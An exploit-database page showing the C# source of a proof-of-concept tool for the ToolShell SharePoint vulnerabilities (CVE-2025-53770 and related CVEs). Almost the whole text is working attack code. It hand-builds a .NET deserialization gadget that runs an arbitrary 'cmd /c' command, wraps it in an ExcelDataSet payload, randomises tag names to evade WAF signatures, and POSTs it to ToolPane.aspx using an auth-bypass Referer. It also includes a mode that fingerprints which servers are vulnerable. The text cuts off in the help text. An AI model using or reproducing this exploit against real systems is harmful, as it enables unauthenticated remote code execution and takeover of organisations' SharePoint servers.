Exploit database

GH-ea2d0746fef5cd9b160bdbe386353ccb

rabbitbong/oursharepoint-cve-2025-53770

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-53770

27 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

OurSharePoint/Program.cs

Suggested starting fileC# · 40,529 bytes
using System;
using System.Collections.Generic;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Net;
using System.Net.Security;
using System.Text;
using System.Text.RegularExpressions;

class Program
{
    // Default User-Agent observed in ToolShell exploitation waves (July 2025)
    const string DefaultUserAgent =
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0";

    // Known vulnerable SharePoint version ranges (from Metasploit module)
    static readonly Tuple<string, string, string>[] VulnerableRanges =
    {
        Tuple.Create("SharePoint Server Subscription Edition", "16.0.14326.20450", "16.0.18526.20424"),
        Tuple.Create("SharePoint Server 2019",                 "16.0.10337.12109", "16.0.10417.20027"),
        Tuple.Create("SharePoint Enterprise Server 2016",      "16.0.4351.1000",   "16.0.5508.1000"),
        Tuple.Create("SharePoint Server 2013",                 "15.0.4481.1005",   "15.0.5545.1000"),
    };

    static void Main(string[] args)
    {
        if (args.Length == 0 || args.Contains("--help"))
        {
            PrintHelp();
            return;
        }

        // ── Parse args ──────────────────────────────────────────────
        string inputPath = null;
        string cmd = null;
        string outputPrefix = "payload";
        string nameA = null, nameB = null, nameC = null;

        // HTTP delivery options
        string target = null;
        string proxy = null;
        string userAgent = DefaultUserAgent;
        string referer = null;   // null = auto-build from target
        string spVersion = "15";
        int timeout = 15;
        bool checkOnly = false;

        foreach (var arg in args)
        {
            if (arg.StartsWith("--in="))         inputPath = arg.Substring("--in=".Length);
            else if (arg.StartsWith("--cmd="))    cmd = arg.Substring("--cmd=".Length);
            else if (arg.StartsWith("--out="))    outputPrefix = arg.Substring("--out=".Length);
            else if (arg.StartsWith("--a="))      nameA = arg.Substring("--a=".Length);
            else if (arg.StartsWith("--b="))      nameB = arg.Substring("--b=".Length);
            else if (arg.StartsWith("--c="))      nameC = arg.Substring("--c=".Length);
            else if (arg.StartsWith("--target=")) target = arg.Substring("--target=".Length).TrimEnd('/');
            else if (arg.StartsWith("--proxy="))  proxy = arg.Substring("--proxy=".Length);
            else if (arg.StartsWith("--ua="))     userAgent = arg.Substring("--ua=".Length);
            else if (arg.StartsWith("--referer="))referer = arg.Substring("--referer=".Length);
            else if (arg.StartsWith("--sp-version=")) spVersion = arg.Substring("--sp-version=".Length);
            else if (arg.StartsWith("--timeout="))timeout = int.Parse(arg.Substring("--timeout=".Length));
            else if (arg == "--check")            checkOnly = true;
        }

        // ── Check-only mode ─────────────────────────────────────────
        if (checkOnly)
        {
            if (string.IsNullOrEmpty(target))
            {
                Console.Error.WriteLine("[-] --check requires --target=<url>");
                return;
            }
            CheckTarget(target, spVersion, userAgent, proxy, timeout);
            return;
        }

        // ── Payload build mode ──────────────────────────────────────

        // Determine inner LosFormatter payload source
        string nestedPayload;

        if (!string.IsNullOrEmpty(cmd))
        {
            // Generate TypeConfuseDelegate gadget internally (no ysoserial.exe needed)
            Console.WriteLine($"[*] Generating TypeConfuseDelegate gadget for: {cmd}");
            nestedPayload = GenerateGadget(cmd);
            Console.WriteLine($"[+] Inner LosFormatter payload: {nestedPayload.Length} chars");
        }
        else if (!string.IsNullOrEmpty(inputPath) && File.Exists(inputPath))
        {
            nestedPayload = File.ReadAllText(inputPath).Trim();
        }
        else
        {
            Console.Error.WriteLine("[-] Provide --cmd=<command> or --in=<payload.b64>");
            return;
        }

        // Auto-generate names if not provided
        if (nameA == null) nameA = RandomName();
        if (nameB == null) nameB = RandomName();
        if (nameC == null) nameC = RandomName();

        Console.WriteLine($"[*] Building DataSet payload (a={nameA}, b={nameB}, c={nameC})");

        // Build XML schema
        string schema = $@"
<xs:schema xmlns:xs='http://www.w3.org/2001/XMLSchema' xmlns:msdata='urn:schemas-microsoft-com:xml-msdata' id='{nameA}'>
  <xs:element name='{nameA}' msdata:IsDataSet='true' msdata:UseCurrentLocale='true'>
    <xs:complexType>
      <xs:choice minOccurs='0' maxOccurs='unbounded'>
        <xs:element name='{nameB}'>
          <xs:complexType>
            <xs:sequence>
              <xs:element name='{nameC}' msdata:DataType='System.Collections.Generic.List`1[[System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]' type='xs:anyType' minOccurs='0'/>
            </xs:sequence>
          </xs:complexType>
        </xs:element>
      </xs:choice>
    </xs:complexType>
  </xs:element>
</xs:schema>";

        // Build diffgram with nested base64
        string diffgram = $@"
<diffgr:diffgram xmlns:msdata='urn:schemas-microsoft-com:xml-msdata' xmlns:diffgr='urn:schemas-microsoft-com:xml-diffgram-v1'>
  <{nameA}>
    <{nameB} diffgr:id='Table1' msdata:rowOrder='0' diffgr:hasChanges='inserted'>
      <{nameC} xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xmlns:xsd='http://www.w3.org/2001/XMLSchema'>
        <ExpandedWrapperOfLosFormatterObjectDataProvider xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>
          <ExpandedElement />
          <ProjectedProperty0>
            <MethodName>Deserialize</MethodName>
            <MethodParameters>
              <anyType xsi:type='xsd:string'>{nestedPayload}</anyType>
            </MethodParameters>
            <ObjectInstance xsi:type='LosFormatter'></ObjectInstance>
          </ProjectedProperty0>
        </ExpandedWrapperOfLosFormatterObjectDataProvider>
      </{nameC}>
    </{nameB}>
  </{nameA}>
</diffgr:diffgram>";

        // Build a minimal BinaryFormatter stream matching the Metasploit module's
        // DataSetWrapper format exactly. This writes raw MS-NRBF records instead of
        // using BinaryFormatter.Serialize() — avoids extra metadata and guarantees
        // the target deserializer gets exactly what it expects.
        var rawBytes = BuildDataSetStream(schema.Trim(), diffgram.Trim());

        var rawPath = $"{outputPrefix}.bin";
        File.WriteAllBytes(rawPath, rawBytes);

        // Compress to GZip + Base64
        byte[] compressed;

        using (var ms = new MemoryStream())
        {
            using (var gzip = new GZipStream(ms, CompressionMode.Compress))
                gzip.Write(rawBytes, 0, rawBytes.Length);

            compressed = ms.ToArray();
        }

        var payloadB64 = Convert.ToBase64String(compressed);
        File.WriteAllText($"{outputPrefix}.b64", payloadB64);

        Console.WriteLine($"[+] Payload built: {rawBytes.Length} bytes raw → {compressed.Length} bytes gzipped → {payloadB64.Length} chars base64");
        Console.WriteLine($"[+] Files written: {outputPrefix}.bin, {outputPrefix}.b64");

        // ── HTTP delivery ───────────────────────────────────────────
        if (!string.IsNullOrEmpty(target))
        {
            Console.WriteLine($"\n[*] Target: {target}");
            Console.WriteLine($"[*] SP version path: /_layouts/{spVersion}/");

            if (!string.IsNullOrEmpty(proxy))
                Console.WriteLine($"[*] Proxy: {proxy}");

            SendExploit(target, payloadB64, spVersion, userAgent, referer, proxy, timeout);
        }
        else
        {
            // File-only mode footer
            Console.WriteLine("\n──────────────────────────────────────────────");
            Console.WriteLine(" References:");
            Console.WriteLine("  https://research.eye.security/sharepoint-under-siege/");
            Console.WriteLine("  https://github.com/rapid7/metasploit-framework/pull/20409/commits");
            Console.WriteLine("──────────────────────────────────────────────");
        }
    }

    // ═══════════════════════════════════════════════════════════════
    //  HTTP Delivery — POST payload to ToolPane.aspx
    // ═══════════════════════════════════════════════════════════════

    static void SendExploit(string target, string payloadB64, string spVersion,
        string userAgent, string refererOverride, string proxy, int timeout)
    {
        // Disable SSL cert validation (lab/self-signed certs)
        ServicePointManager.ServerCertificateValidationCallback =
            (sender, cert, chain, errors) => true;
        ServicePointManager.SecurityProtocol =
            SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls;

        // Build the DWP XML wrapper (matches Metasploit module format)
        var dwpXml = BuildDwpXml(payloadB64);

        // Build URL: /_layouts/{version}/ToolPane.aspx/{trailing}?DisplayMode=Edit&{rand}=/ToolPane.aspx
        // The trailing path segment after ToolPane.aspx is CVE-2025-53771 (patch bypass).
        // The random query param key with value /ToolPane.aspx is part of CVE-2025-49706.
        var trailing = RandomName(12);
        var randKey = RandomName(10);
        var exploitUrl = $"{target}/_layouts/{spVersion}/ToolPane.aspx/{trailing}?DisplayMode=Edit&{randKey}=/ToolPane.aspx";

        // Build Referer for auth bypass (CVE-2025-49706 / CVE-2025-53771)
        var refererValue = refererOverride ?? $"{target}/_layouts/SignOut.aspx";

        // Build form-encoded POST body
        var ctrlTemplateUri = $"{target}/_controltemplates/{spVersion}/AclEditor.ascx";
        var postBody = $"MSOTlPn_Uri={Uri.EscapeDataString(ctrlTemplateUri)}&MSOTlPn_DWP={Uri.EscapeDataString(dwpXml)}";
        var postBytes = Encoding.UTF8.GetBytes(postBody);

        Console.WriteLine($"[*] Exploit URL: {exploitUrl}");
        Console.WriteLine($"[*] Referer: {refererValue}");
        Console.WriteLine($"[*] DWP XML size: {dwpXml.Length} chars");
        Console.WriteLine($"[*] POST body size: {postBytes.Length} bytes");
        Console.WriteLine($"[*] Sending exploit...");

        try
        {
            var req = (HttpWebRequest)WebRequest.Create(exploitUrl);
            req.Method = "POST";
            req.ContentType = "application/x-www-form-urlencoded";
            req.UserAgent = userAgent;
            req.Referer = refererValue;
            req.Timeout = timeout * 1000;
            req.ReadWriteTimeout = timeout * 1000;
            req.AllowAutoRedirect = false;
            req.ContentLength = postBytes.Length;

            if (!string.IsNullOrEmpty(proxy))
                req.Proxy = new WebProxy(proxy);

            using (var stream = req.GetRequestStream())
            {
                stream.Write(postBytes, 0, postBytes.Length);
            }

            using (var resp = (HttpWebResponse)req.GetResponse())
            {
                var statusCode = (int)resp.StatusCode;
                string body;
                using (var reader = new StreamReader(resp.GetResponseStream()))
                    body = reader.ReadToEnd();

                Console.WriteLine($"\n[+] Response: HTTP {statusCode} {resp.StatusDescription}");
                Console.WriteLine($"[+] Response length: {body.Length} chars");

                if (statusCode == 302)
                    Console.WriteLine($"[+] Redirect → {resp.Headers["Location"]}");

                // Check for SharePoint version header
                var spHeader = resp.Headers["MicrosoftSharePointTeamServices"];
                if (!string.IsNullOrEmpty(spHeader))
                    Console.WriteLine($"[*] SharePoint version: {spHeader}");

                if (statusCode >= 200 && statusCode < 400)
                    Console.WriteLine("[+] Exploit sent successfully! Check your listener.");
                else
                    Console.WriteLine($"[-] Unexpected status code: {statusCode}");
            }
        }
        catch (WebException ex)
        {
            if (ex.Response is HttpWebResponse errResp)
            {
                var statusCode = (int)errResp.StatusCode;
                string body;
                using (var reader = new StreamReader(errResp.GetResponseStream()))
                    body = reader.ReadToEnd();

                Console.WriteLine($"\n[-] Response: HTTP {statusCode} {errResp.StatusDescription}");
                Console.WriteLine($"[-] Response length: {body.Length} chars");

                // A 500 can still mean the payload executed (deserialization happens before error handling)
                if (statusCode == 500)
                    Console.WriteLine("[!] HTTP 500 — payload may have still executed. Check your listener.");

                var spHeader = errResp.Headers["MicrosoftSharePointTeamServices"];
                if (!string.IsNullOrEmpty(spHeader))
                    Console.WriteLine($"[*] SharePoint version: {spHeader}");
            }
            else
            {
                Console.Error.WriteLine($"[-] Connection failed: {ex.Message}");
            }
        }
        catch (Exception ex)
        {
            Console.Error.WriteLine($"[-] Error: {ex.Message}");
        }
    }

    // ═══════════════════════════════════════════════════════════════
    //  Build DWP XML — ASP.NET markup wrapping the serialized payload
    // ═══════════════════════════════════════════════════════════════

    static string BuildDwpXml(string compressedDataTableB64)
    {
        // Randomize tag prefixes to evade WAF/signature detection
        var nsUi = RandomName(10);
        var nsScorecard = RandomName(12);

        var xml = new StringBuilder();

        // Register System.Web.UI.UpdateProgress (AJAX control)
        xml.AppendLine($"<%@ Register Tagprefix=\"{nsUi}\" " +
            "Namespace=\"System.Web.UI\" " +
            "Assembly=\"System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\" %>");

        // Register Microsoft.PerformancePoint.Scorecards.ExcelDataSet (deserializer sink)
        xml.AppendLine($"<%@ Register Tagprefix=\"{nsScorecard}\" " +
            "Namespace=\"Microsoft.PerformancePoint.Scorecards\" " +
            "Assembly=\"Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c\" %>");

        // Wrap the payload in UpdateProgress > ProgressTemplate > ExcelDataSet
        xml.AppendLine($"<{nsUi}:UpdateProgress>");
        xml.AppendLine("  <ProgressTemplate>");
        xml.AppendLine($"    <{nsScorecard}:ExcelDataSet " +
            $"CompressedDataTable=\"{compressedDataTableB64}\" " +
            "DataTable-CaseSensitive=\"true\" runat=\"server\"/>");
        xml.AppendLine("  </ProgressTemplate>");
        xml.AppendLine($"</{nsUi}:UpdateProgress>");

        return xml.ToString();
    }

    // ═══════════════════════════════════════════════════════════════
    //  Check Target — fingerprint SharePoint version
    // ═══════════════════════════════════════════════════════════════

    static void CheckTarget(string target, string spVersion, string userAgent,
        string proxy, int timeout)
    {
        ServicePointManager.ServerCertificateValidationCallback =
            (sender, cert, chain, errors) => true;
        ServicePointManager.SecurityProtocol =
            SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls;

        var checkUrl = $"{target}/_layouts/{spVersion}/start.aspx";
        Console.WriteLine($"[*] Checking target: {checkUrl}");

        try
        {
            var req = (HttpWebRequest)WebRequest.Create(checkUrl);
            req.Method = "GET";
            req.UserAgent = userAgent;
            req.Timeout = timeout * 1000;
            req.AllowAutoRedirect = true;

            if (!string.IsNullOrEmpty(proxy))
                req.Proxy = new WebProxy(proxy);

            using (var resp = (HttpWebResponse)req.GetResponse())
            {
                string body;
                using (var reader = new StreamReader(resp.GetResponseStream()))
                    body = reader.ReadToEnd();

                Console.WriteLine($"[*] HTTP {(int)resp.StatusCode} — {body.Length} bytes");

                // Check HTTP header version
                var spHeader = resp.Headers["MicrosoftSharePointTeamServices"];
                if (!string.IsNullOrEmpty(spHeader))
                    Console.WriteLine($"[*] HTTP header version: {spHeader}");

                // Extract siteClientTag from JavaScript (more accurate than HTTP header)
                var tagMatch = Regex.Match(body, @"""siteClientTag""\s*:\s*""\d*\$\+?([^""]+)""");
                if (!tagMatch.Success)
                {
                    // Try alternate pattern without $ prefix
                    tagMatch = Regex.Match(body, @"""siteClientTag""\s*:\s*""([^""]+)""");
                }

                if (tagMatch.Success)
                {
                    var versionStr = tagMatch.Groups[1].Value;
                    // Strip any non-version prefix (e.g. "1234$$16.0.xxxx" → "16.0.xxxx")
                    var versionPart = Regex.Match(versionStr, @"(\d+\.\d+\.\d+\.\d+)");
                    if (versionPart.Success)
                    {
                        var detected = new Version(versionPart.Groups[1].Value);
                        Console.WriteLine($"[*] Detected version (siteClientTag): {detected}");

                        bool found = false;
                        foreach (var range in VulnerableRanges)
                        {
                            var rtm = new Version(range.Item2);
                            var patch = new Version(range.Item3);
                            if (detected >= rtm && detected <= patch)
                            {
                                Console.WriteLine($"[+] VULNERABLE — {range.Item1} (range {rtm} – {patch})");
                                found = true;
                                break;
                            }
                        }

                        if (!found)
                            Console.WriteLine($"[-] Not in known vulnerable ranges — likely patched or unsupported edition");
                    }
                    else
                    {
                        Console.WriteLine($"[?] Could not parse version from siteClientTag: {versionStr}");
                    }
                }
                else
                {
                    Console.WriteLine("[?] siteClientTag not found in response — target may require auth or FBA is disabled");
                    if (!string.IsNullOrEmpty(spHeader))
                        Console.WriteLine("[*] Use the HTTP header version above as a rough indicator");
                }

                // Also check the VIEWSTATE generator if present
                var vsGen = Regex.Match(body, @"__VIEWSTATEGENERATOR""\s+value=""([^""]+)""");
                if (vsGen.Success)
                    Console.WriteLine($"[*] ViewStateGenerator: {vsGen.Groups[1].Value}");
            }
        }
        catch (WebException ex)
        {
            if (ex.Response is HttpWebResponse errResp)
            {
                Console.WriteLine($"[-] HTTP {(int)errResp.StatusCode} — {errResp.StatusDescription}");
                var spHeader = errResp.Headers["MicrosoftSharePointTeamServices"];
                if (!string.IsNullOrEmpty(spHeader))
                    Console.WriteLine($"[*] SharePoint version (header): {spHeader}");
            }
            else
            {
                Console.Error.WriteLine($"[-] Connection failed: {ex.Message}");
            }
        }
        catch (Exception ex)
        {
            Console.Error.WriteLine($"[-] Error: {ex.Message}");
        }
    }

    // ═══════════════════════════════════════════════════════════════
    //  TypeConfuseDelegate Gadget Generator — raw MS-NRBF bytes
    //  Ported from Metasploit's type_confuse_delegate.rb
    //  Constructs every binary record by hand instead of relying on
    //  .NET's LosFormatter.Serialize(), which produces a different
    //  byte stream that the target deserializer rejects.
    // ═══════════════════════════════════════════════════════════════

    static string GenerateGadget(string command)
    {
        // Fully-qualified assembly names (must match .NET Framework 4.x exactly)
        const string Mscorlib  = "mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089";
        const string SystemAsm = "System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089";
        const string QnString  = "System.String, " + Mscorlib;
        const string QnProcess = "System.Diagnostics.Process, " + SystemAsm;

        // ── Build raw BinaryFormatter (MS-NRBF) stream ──────────
        byte[] bfStream;
        using (var ms = new MemoryStream())
        using (var bw = new BinaryWriter(ms, Encoding.UTF8))
        {
            // ── Record 0: SerializationHeaderRecord (type 0) ──
            bw.Write((byte)0);       // RecordTypeEnum.SerializedStreamHeader
            bw.Write((int)1);        // RootId
            bw.Write((int)-1);       // HeaderId
            bw.Write((int)1);        // MajorVersion
            bw.Write((int)0);        // MinorVersion

            // ── Record 1: BinaryLibrary (type 12, id=2) ──
            bw.Write((byte)12);
            bw.Write((int)2);        // LibraryId
            bw.Write(SystemAsm);     // LibraryName (LengthPrefixedString)

            // ── Record 2: ClassWithMembersAndTypes (type 5, id=1)
            //    SortedSet<string> — root object ──
            bw.Write((byte)5);
            bw.Write((int)1);        // ObjId
            bw.Write("System.Collections.Generic.SortedSet`1[[" + QnString + "]]");
            bw.Write((int)4);        // MemberCount
            bw.Write("Count");
            bw.Write("Comparer");
            bw.Write("Version");
            bw.Write("Items");
            // MemberTypeInfo — BinaryTypeEnums
            bw.Write((byte)0);       // Primitive
            bw.Write((byte)3);       // SystemClass
            bw.Write((byte)0);       // Primitive
            bw.Write((byte)6);       // StringArray
            // MemberTypeInfo — AdditionalInfos (only for types that need it)
            bw.Write((byte)8);       // PrimitiveType = Int32
            bw.Write("System.Collections.Generic.ComparisonComparer`1[[" + QnString + "]]");
            bw.Write((byte)8);       // PrimitiveType = Int32
            // (StringArray needs no additional info)
            // LibraryId for ClassWithMembersAndTypes
            bw.Write((int)2);
            // Member values
            bw.Write((int)2);        // Count = 2
            bw.Write((byte)9); bw.Write((int)3);   // MemberReference → ComparisonComparer (id 3)
            bw.Write((int)2);        // Version = 2
            bw.Write((byte)9); bw.Write((int)4);   // MemberReference → Items array (id 4)

            // ── Record 3: SystemClassWithMembersAndTypes (type 4, id=3)
            //    ComparisonComparer<string> ──
            bw.Write((byte)4);
            bw.Write((int)3);
            bw.Write("System.Collections.Generic.ComparisonComparer`1[[" + QnString + "]]");
            bw.Write((int)1);        // MemberCount
            bw.Write("_comparison");
            bw.Write((byte)3);       // SystemClass
            bw.Write("System.DelegateSerializationHolder");
            // Member value
            bw.Write((byte)9); bw.Write((int)5);   // MemberReference → DelegateSerializationHolder (id 5)

            // ── Record 4: ArraySingleString (type 17, id=4)
            //    Items: ["/c <cmd>", "cmd"] ──
            bw.Write((byte)17);
            bw.Write((int)4);        // ObjId
            bw.Write((int)2);        // Count
            // Array elements (each is a BinaryObjectString record)
            bw.Write((byte)6); bw.Write((int)6); bw.Write("/c " + command);
            bw.Write((byte)6); bw.Write((int)7); bw.Write("cmd");

            // ── Record 5: SystemClassWithMembersAndTypes (type 4, id=5)
            //    DelegateSerializationHolder ──
            bw.Write((byte)4);
            bw.Write((int)5);
            bw.Write("System.DelegateSerializationHolder");
            bw.Write((int)3);        // MemberCount
            bw.Write("Delegate");
            bw.Write("method0");
            bw.Write("method1");
            bw.Write((byte)3);       // SystemClass
            bw.Write((byte)3);       // SystemClass
            bw.Write((byte)3);       // SystemClass
            bw.Write("System.DelegateSerializationHolder+DelegateEntry");
            bw.Write("System.Reflection.MemberInfoSerializationHolder");
            bw.Write("System.Reflection.MemberInfoSerializationHolder");
            // Member values
            bw.Write((byte)9); bw.Write((int)8);   // MemberReference → DelegateEntry[0] (id 8)
            bw.Write((byte)9); bw.Write((int)9);   // MemberReference → MemberInfo[0] (id 9)
            bw.Write((byte)9); bw.Write((int)10);  // MemberReference → MemberInfo[1] (id 10)

            // ── Record 6: SystemClassWithMembersAndTypes (type 4, id=8)
            //    DelegateEntry — Process.Start(string, string) ──
            bw.Write((byte)4);
            bw.Write((int)8);
            bw.Write("System.DelegateSerializationHolder+DelegateEntry");
            bw.Write((int)7);        // MemberCount
            bw.Write("type");
            bw.Write("assembly");
            bw.Write("target");
            bw.Write("targetTypeAssembly");
            bw.Write("targetTypeName");
            bw.Write("methodName");
            bw.Write("delegateEntry");
            // BinaryTypeEnums
            bw.Write((byte)1);       // String
            bw.Write((byte)1);       // String
            bw.Write((byte)2);       // Object
            bw.Write((byte)1);       // String
            bw.Write((byte)1);       // String
            bw.Write((byte)1);       // String
            bw.Write((byte)3);       // SystemClass
            // AdditionalInfos (only SystemClass needs one)
            bw.Write("System.DelegateSerializationHolder+DelegateEntry");
            // Member values
            bw.Write((byte)6); bw.Write((int)11);
            bw.Write("System.Func`3[[" + QnString + "],[" + QnString + "],[" + QnProcess + "]]");
            bw.Write((byte)6); bw.Write((int)12); bw.Write(Mscorlib);
            bw.Write((byte)10);      // ObjectNull (target)
            bw.Write((byte)6); bw.Write((int)13); bw.Write(SystemAsm);
            bw.Write((byte)6); bw.Write((int)14); bw.Write("System.Diagnostics.Process");
            bw.Write((byte)6); bw.Write((int)15); bw.Write("Start");
            bw.Write((byte)9); bw.Write((int)16); // MemberReference → DelegateEntry[1] (id 16)

            // ── Record 7: SystemClassWithMembersAndTypes (type 4, id=9)
            //    MemberInfoSerializationHolder — Process.Start ──
            bw.Write((byte)4);
            bw.Write((int)9);
            bw.Write("System.Reflection.MemberInfoSerializationHolder");
            bw.Write((int)7);        // MemberCount
            bw.Write("Name");
            bw.Write("AssemblyName");
            bw.Write("ClassName");
            bw.Write("Signature");
            bw.Write("Signature2");
            bw.Write("MemberType");
            bw.Write("GenericArguments");
            // BinaryTypeEnums
            bw.Write((byte)1);       // String
            bw.Write((byte)1);       // String
            bw.Write((byte)1);       // String
            bw.Write((byte)1);       // String
            bw.Write((byte)1);       // String
            bw.Write((byte)0);       // Primitive
            bw.Write((byte)3);       // SystemClass
            // AdditionalInfos
            bw.Write((byte)8);       // PrimitiveType = Int32
            bw.Write("System.Type[]");
            // Member values
            bw.Write((byte)9); bw.Write((int)15);  // MemberReference → "Start"
            bw.Write((byte)9); bw.Write((int)13);  // MemberReference → System assembly
            bw.Write((byte)9); bw.Write((int)14);  // MemberReference → "System.Diagnostics.Process"
            bw.Write((byte)6); bw.Write((int)20);
            bw.Write("System.Diagnostics.Process Start(System.String, System.String)");
            bw.Write((byte)6); bw.Write((int)21);
            bw.Write("System.Diagnostics.Process Start(System.String, System.String)");
            bw.Write((int)8);        // MemberType = Method (8)
            bw.Write((byte)10);      // ObjectNull (GenericArguments)

            // ── Record 8: ClassWithId (type 1, id=10, meta=9)
            //    MemberInfoSerializationHolder — String.Compare ──
            bw.Write((byte)1);
            bw.Write((int)10);       // ObjId
            bw.Write((int)9);        // MetadataId → reuses id 9 class structure
            // Member values (same layout as id=9)
            bw.Write((byte)6); bw.Write((int)22); bw.Write("Compare");
            bw.Write((byte)9); bw.Write((int)12);  // MemberReference → mscorlib
            bw.Write((byte)6); bw.Write((int)24); bw.Write("System.String");
            bw.Write((byte)6); bw.Write((int)25);
            bw.Write("Int32 Compare(System.String, System.String)");
            bw.Write((byte)6); bw.Write((int)26);
            bw.Write("System.Int32 Compare(System.String, System.String)");
            bw.Write((int)8);        // MemberType = Method (8)
            bw.Write((byte)10);      // ObjectNull (GenericArguments)

            // ── Record 9: ClassWithId (type 1, id=16, meta=8)
            //    DelegateEntry — Comparison<string> (second in chain) ──
            bw.Write((byte)1);
            bw.Write((int)16);       // ObjId
            bw.Write((int)8);        // MetadataId → reuses id 8 class structure
            // Member values (same layout as id=8: type,assembly,target,targetTypeAssembly,targetTypeName,methodName,delegateEntry)
            bw.Write((byte)6); bw.Write((int)27);
            bw.Write("System.Comparison`1[[" + QnString + "]]");
            bw.Write((byte)9); bw.Write((int)12);  // MemberReference → mscorlib
            bw.Write((byte)10);      // ObjectNull (target)
            bw.Write((byte)9); bw.Write((int)12);  // MemberReference → mscorlib
            bw.Write((byte)9); bw.Write((int)24);  // MemberReference → "System.String"
            bw.Write((byte)9); bw.Write((int)22);  // MemberReference → "Compare"
            bw.Write((byte)10);      // ObjectNull (delegateEntry — end of chain)

            // ── Record 10: MessageEnd (type 11) ──
            bw.Write((byte)11);

            bfStream = ms.ToArray();
        }

        // ── Wrap in LosFormatter / ObjectStateFormatter framing ──
        // Format: 0xFF (marker) | 0x01 (version) | 0x32 (token=BinarySerialized)
        //         | 7-bit-encoded length | raw BinaryFormatter bytes
        using (var output = new MemoryStream())
        {
            output.WriteByte(0xFF);
            output.WriteByte(0x01);
            output.WriteByte(0x32);  // TOKEN_BINARY_SERIALIZED = 50
            Encode7BitInt(output, bfStream.Length);
            output.Write(bfStream, 0, bfStream.Length);
            return Convert.ToBase64String(output.ToArray());
        }
    }

    static void Encode7BitInt(Stream stream, int value)
    {
        uint v = (uint)value;
        while (v >= 0x80)
        {
            stream.WriteByte((byte)(v | 0x80));
            v >>= 7;
        }
        stream.WriteByte((byte)v);
    }

    // ═══════════════════════════════════════════════════════════════
    //  Helpers
    // ═══════════════════════════════════════════════════════════════

    static readonly Random _rand = new Random();

    static string RandomName(int length = 10)
    {
        const string chars = "abcdefghijklmnopqrstuvwxyz";
        return new string(Enumerable.Range(0, length).Select(_ => chars[_rand.Next(chars.Length)]).ToArray());
    }

    // ═══════════════════════════════════════════════════════════════
    //  Manual BinaryFormatter Stream Builder — matches the Metasploit
    //  module's DataSetWrapper format (MS-NRBF wire format).
    //  No BinaryFormatter.Serialize() involved — just raw bytes.
    // ═══════════════════════════════════════════════════════════════

    static byte[] BuildDataSetStream(string schemaXml, string diffgramXml)
    {
        using (var ms = new MemoryStream())
        using (var bw = new BinaryWriter(ms, Encoding.UTF8))
        {
            // ── SerializationHeaderRecord (RecordType 0) ──
            bw.Write((byte)0);       // RecordTypeEnum.SerializedStreamHeader
            bw.Write((int)1);        // RootId
            bw.Write((int)-1);       // HeaderId
            bw.Write((int)1);        // MajorVersion
            bw.Write((int)0);        // MinorVersion

            // ── BinaryLibrary (RecordType 12) ──
            bw.Write((byte)12);      // RecordTypeEnum.BinaryLibrary
            bw.Write((int)2);        // LibraryId
            bw.Write("System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089");

            // ── ClassWithMembersAndTypes (RecordType 5) ──
            bw.Write((byte)5);       // RecordTypeEnum.ClassWithMembersAndTypes
            bw.Write((int)1);        // ObjectId
            bw.Write("System.Data.DataSet"); // ClassName
            bw.Write((int)2);        // NumMembers
            bw.Write("XmlSchema");   // MemberName[0]
            bw.Write("XmlDiffGram"); // MemberName[1]
            bw.Write((byte)1);       // BinaryTypeEnum[0] = String
            bw.Write((byte)1);       // BinaryTypeEnum[1] = String
            bw.Write((int)2);        // AssemId → references BinaryLibrary above

            // ── Member values: two BinaryObjectStrings ──
            // XmlSchema
            bw.Write((byte)6);       // RecordTypeEnum.BinaryObjectString
            bw.Write((int)3);        // ObjectId
            bw.Write(schemaXml);     // Value (length-prefixed UTF-8)

            // XmlDiffGram
            bw.Write((byte)6);       // RecordTypeEnum.BinaryObjectString
            bw.Write((int)2);        // ObjectId
            bw.Write(diffgramXml);   // Value (length-prefixed UTF-8)

            // ── MessageEnd (RecordType 11) ──
            bw.Write((byte)11);      // RecordTypeEnum.MessageEnd

            return ms.ToArray();
        }
    }

    static void PrintHelp()
    {
        Console.WriteLine(@"
OurSharePoint — CVE-2025-53770 / CVE-2025-49704 PoC Builder + Delivery

Usage:
  OurSharePoint.exe --cmd=<command> [options]
  OurSharePoint.exe --in=<payload.b64> [options]
  OurSharePoint.exe --target=<url> --check

──── Payload Source (pick one) ────────────────────────────────────
  --cmd=COMMAND      Generate TypeConfuseDelegate gadget internally (no ysoserial needed)
                     Command runs as: cmd /c <COMMAND>
  --in=FILE          Use pre-built base64 LosFormatter payload (e.g. from ysoserial.exe)

──── Payload Build ────────────────────────────────────────────────
  --out=PREFIX       Output file prefix (default: 'payload')
  --a=NAME           Dataset name   (default: random)
  --b=NAME           Element name   (default: random)
  --c=NAME           Column name    (default: random)

──── HTTP Delivery (optional) ─────────────────────────────────────
  --target=URL       SharePoint base URL (e.g. https://sp.corp.com)
  --proxy=URL        HTTP proxy for inspection (e.g. http://127.0.0.1:8080)
  --check            Fingerprint target version only — don't send payload
  --sp-version=VER   SharePoint layouts version: 15 or 16 (default: 15)
  --ua=STRING        Custom User-Agent header
  --referer=URL      Override auth-bypass Referer (default: auto)
  --timeout=SEC      HTTP timeout in seconds (default: 15)

──── Examples ─────────────────────────────────────────────────────

  # Self-contained — generate gadget + build + deliver (no ysoserial needed)
